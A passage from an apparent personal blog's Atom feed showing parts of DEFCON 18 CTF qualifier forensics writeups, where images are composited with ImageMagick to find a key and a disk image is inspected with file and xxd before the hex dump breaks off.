&lt;span class="go"&gt;IMG_0802.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0803.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0804.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0805.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0806.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0807.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0808.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0809.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0810.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0811.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0812.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0813.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0814.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0815.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0816.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0817.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0818.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0819.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0820.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0821.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0822.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0823.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0824.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0825.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0826.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0827.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0828.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0829.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0830.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0831.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0832.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0833.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0834.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0835.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0836.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0837.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0838.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0839.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0840.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0841.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0842.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0843.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0844.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0845.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0846.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0847.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0848.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0849.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0850.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0851.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0852.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0853.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0854.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0855.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0856.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0857.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0858.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0859.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0860.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0861.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0862.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0863.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0864.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0865.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0866.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0867.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0868.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0869.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0870.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0871.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0872.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0873.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0874.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0875.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0876.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0877.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0878.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0879.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0880.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0881.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0882.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0883.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0884.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0885.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0886.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0887.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0888.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0889.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0890.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0891.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0892.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0893.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0894.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0895.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0896.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0897.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0898.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0899.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0900.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0901.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0902.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0903.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0904.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0905.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0906.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0907.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0908.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0909.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0910.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0911.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0912.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0913.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0914.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0915.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0916.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0917.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0918.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0919.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0920.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0921.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0922.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0923.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0924.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0925.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0926.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0927.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0928.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0929.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0930.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0931.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0932.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0933.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0934.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0935.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0936.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0937.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0938.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0939.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0940.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0941.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0942.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0943.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0944.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0945.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0946.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0947.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0948.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0949.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0950.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0951.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0952.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0953.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0954.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0955.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0956.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0957.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0958.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0959.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0960.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0961.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0962.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0963.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0964.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0965.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0966.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0967.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0968.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0969.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0970.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0971.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0972.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0973.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0974.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0975.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0976.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0977.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0978.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0979.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0980.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0981.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0982.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0983.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0984.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0985.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0986.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0987.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0988.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0989.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0990.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0991.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0992.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0993.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0994.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0995.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0996.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0997.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0998.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0999.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1000.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1001.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1002.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1003.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1004.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1005.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1006.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1007.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1008.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1009.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1010.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1011.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1012.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1013.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1014.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1015.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1016.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1017.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1018.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1019.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1020.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1021.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1022.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1023.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1024.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1025.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1026.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1027.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1028.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1029.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1030.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1031.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1032.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1033.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1034.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1035.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1036.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1037.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1038.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1039.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1040.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1041.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1042.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1043.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1044.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1045.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1046.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1047.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1048.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1049.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1050.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1051.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1052.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1053.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1054.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1055.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1056.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1057.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1058.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1059.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1060.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1061.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1062.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1063.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1064.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1065.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1066.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1067.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1068.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1069.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1070.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1071.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1072.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1073.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1074.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1075.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1076.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1077.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1078.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1079.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1080.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1081.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1082.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1083.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1084.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1085.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1086.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1087.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1088.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1089.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1090.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1091.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1092.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1093.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1094.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1095.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1096.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1097.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1098.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1099.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1100.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1101.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1102.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1103.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1104.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1105.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1106.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1107.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1108.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1109.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1110.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1111.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1112.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1113.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1114.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1115.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1116.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1117.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1118.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1119.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1120.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_1121.png&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There are a lot of images, apparently all of the same size. We can try
to use pngtools the examine the respect of image attributes and the
presence of&amp;nbsp;metadata.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; pnginfo IMG_1116.png
&lt;span class="go"&gt;IMG_1116.png...&lt;/span&gt;
&lt;span class="go"&gt;Image Width: 118 Image Length: 810&lt;/span&gt;
&lt;span class="go"&gt;Bitdepth (Bits/Sample): 8&lt;/span&gt;
&lt;span class="go"&gt;Channels (Samples/Pixel): 4&lt;/span&gt;
&lt;span class="go"&gt;Pixel depth (Pixel Depth): 32&lt;/span&gt;
&lt;span class="go"&gt;Colour Type (Photometric Interpretation): RGB with alpha channel&lt;/span&gt;
&lt;span class="go"&gt;Image filter: Single row per byte filter&lt;/span&gt;
&lt;span class="go"&gt;Interlacing: No interlacing&lt;/span&gt;
&lt;span class="go"&gt;Compression Scheme: Deflate method 8, 32k window&lt;/span&gt;
&lt;span class="go"&gt;Resolution: 0, 0 (unit unknown)&lt;/span&gt;
&lt;span class="go"&gt;FillOrder: msb-to-lsb&lt;/span&gt;
&lt;span class="go"&gt;Byte Order: Network (Big Endian)&lt;/span&gt;
&lt;span class="go"&gt;Number of text strings: 0 of 0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There are no interesting metadata. But it seems that each image contains
some pixels, we can try to compose all the&amp;nbsp;images.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; convert -background skyblue *.png -layers flatten +repage
&lt;span class="go"&gt;Flatten.png&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And inside there is the key: &lt;a class="reference external" href="http://is.gd/ced7F"&gt;http://is.gd/ced7F&lt;/a&gt;&lt;/p&gt;
</content><category term="Blog"></category><category term="CTF"></category><category term="DEFCON"></category><category term="quals"></category></entry><entry><title>DEFCON 18 CTF quals - Forensic 100 writeup</title><link href="https://jekil.sexy/blog/2010/defcon-18-ctf-quals-forensic-100-writeup.html" rel="alternate"></link><published>2010-06-19T15:51:00+01:00</published><updated>2010-06-19T15:51:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2010-06-19:/blog/2010/defcon-18-ctf-quals-forensic-100-writeup.html</id><summary type="html">&lt;p&gt;Some times ago i get a lot of fun at &lt;strong&gt;&lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications&lt;/strong&gt;
with a group of really skilled friends. Now a bit later, here is my
writeup for some&amp;nbsp;challenges.&lt;/p&gt;
&lt;p&gt;First forensic challange of the &lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications: the
suggestion was &amp;#8220;&lt;em&gt;find the key&lt;/em&gt;&amp;#8221; and the related file is
&lt;a class="reference external" href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/f100_6db079ca91c4860f.bin"&gt;here&lt;/a&gt;.
(Mirrors:
&lt;a class="reference external" href="http://stalkr.net/files/defcon/2010/quals/forensics100/f100_6db079ca91c4860f.bin.gz"&gt;#1&lt;/a&gt;,
&lt;a class="reference external" href="http://n.pentest.jp/ctf2010/f100_6db079ca91c4860f.bin"&gt;#2&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;f100_6db079ca91c4860f.bin: x86 boot sector; partition 1: ID=0x7,&lt;/span&gt;
&lt;span class="go"&gt;starthead 0, startsector 31, 31558 sectors, extended partition table&lt;/span&gt;
&lt;span class="gp gp-VirtualEnv"&gt;(last)&lt;/span&gt;&lt;span class="go"&gt;11, code offset 0x0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now take a look at the partition&amp;nbsp;table.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; xxd -l &lt;span class="m"&gt;512&lt;/span&gt; f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;0000000: 0000 0000 0000 0000 …&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Some times ago i get a lot of fun at &lt;strong&gt;&lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications&lt;/strong&gt;
with a group of really skilled friends. Now a bit later, here is my
writeup for some&amp;nbsp;challenges.&lt;/p&gt;
&lt;p&gt;First forensic challange of the &lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications: the
suggestion was &amp;#8220;&lt;em&gt;find the key&lt;/em&gt;&amp;#8221; and the related file is
&lt;a class="reference external" href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/f100_6db079ca91c4860f.bin"&gt;here&lt;/a&gt;.
(Mirrors:
&lt;a class="reference external" href="http://stalkr.net/files/defcon/2010/quals/forensics100/f100_6db079ca91c4860f.bin.gz"&gt;#1&lt;/a&gt;,
&lt;a class="reference external" href="http://n.pentest.jp/ctf2010/f100_6db079ca91c4860f.bin"&gt;#2&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;f100_6db079ca91c4860f.bin: x86 boot sector; partition 1: ID=0x7,&lt;/span&gt;
&lt;span class="go"&gt;starthead 0, startsector 31, 31558 sectors, extended partition table&lt;/span&gt;
&lt;span class="gp gp-VirtualEnv"&gt;(last)&lt;/span&gt;&lt;span class="go"&gt;11, code offset 0x0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now take a look at the partition&amp;nbsp;table.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; xxd -l &lt;span class="m"&gt;512&lt;/span&gt; f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;0000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
